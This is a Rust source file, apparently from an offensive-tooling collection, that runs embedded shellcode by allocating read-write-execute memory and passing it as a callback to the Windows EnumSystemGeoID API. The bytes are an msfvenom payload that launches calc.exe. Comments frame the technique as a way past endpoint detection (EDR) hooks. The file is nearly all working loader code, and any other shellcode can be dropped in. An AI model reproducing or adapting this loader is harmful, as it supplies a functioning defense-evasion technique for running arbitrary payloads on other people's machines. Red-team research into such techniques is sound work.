main.rs

// Ref: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_callback_bin.nim
// Callback function to hold and execute shellcode
// This is a fun one. I like it a lot because how many EDRs are going to hook this random-ass API call? Good for self injection but does allocate as RWX so be careful.
extern crate kernel32;
use winapi::um::winnt::{MEM_COMMIT,PAGE_EXECUTE_READWRITE};
use std::ptr;
use std::io::{stdin, stdout, Read, Write};
use winapi::um::errhandlingapi;
use winapi::um::winnls::EnumSystemGeoID;
use winapi::um::winnls::{GEO_ENUMPROC};
use std::mem::transmute;

// Convinience proc for troubleshooting
fn breakpoint() {
    let mut stdout = stdout();
    stdout.write(b"[*] Press Enter to continue...\n").unwrap();
    stdout.flush().unwrap();
    stdin().read(&mut [0]).unwrap();
}

fn main() {
    callback_shellcode()
}

fn callback_shellcode() {

    //┌──(kali㉿kali)-[~/Desktop]
    //└─$ msfvenom -p windows/x64/exec CMD="calc.exe" -f csharp
    let shellcode : [u8;276] = 
    [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
    0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
    0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
    0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
    0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
    0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
    0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
    0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
    0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
    0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
    0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
    0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
    0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
    0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
    0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
    0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
    0x63,0x2e,0x65,0x78,0x65,0x00];

    unsafe{
        let curr_proc = kernel32::GetCurrentProcessId();

        println!("[+] Proc ID: {}", curr_proc.to_string());

        // Allocate memory RX to current process and get handle to the base addr
        let base_addr = kernel32::VirtualAlloc(
            ptr::null_mut(),
            shellcode.len().try_into().unwrap(),
            MEM_COMMIT,
            PAGE_EXECUTE_READWRITE
        );
       
        if base_addr.is_null() { 
            println!("[-] Couldn't allocate memory to current proc.")
        } else {
            println!("[+] Allocated memory to current proc.");
        }
    
        breakpoint();

        // copy shellcode into mem
        println!("[*] Copying Shellcode to address in current proc.");
        std::ptr::copy(shellcode.as_ptr() as  _, base_addr, shellcode.len());
        println!("[*] Copied...");

        breakpoint();

        println!("[*] Executing callback function...");
        // Callback execution
        let res = EnumSystemGeoID(
            16,
            0,
            transmute::<*mut std::ffi::c_void, GEO_ENUMPROC>(base_addr)
        );

        println!("Result: {}", res);

        if res > 0 {
                println!("[+] Good!")
            } else {
                let error = errhandlingapi::GetLastError();
                println!("{}", error.to_string())
            }
    }
}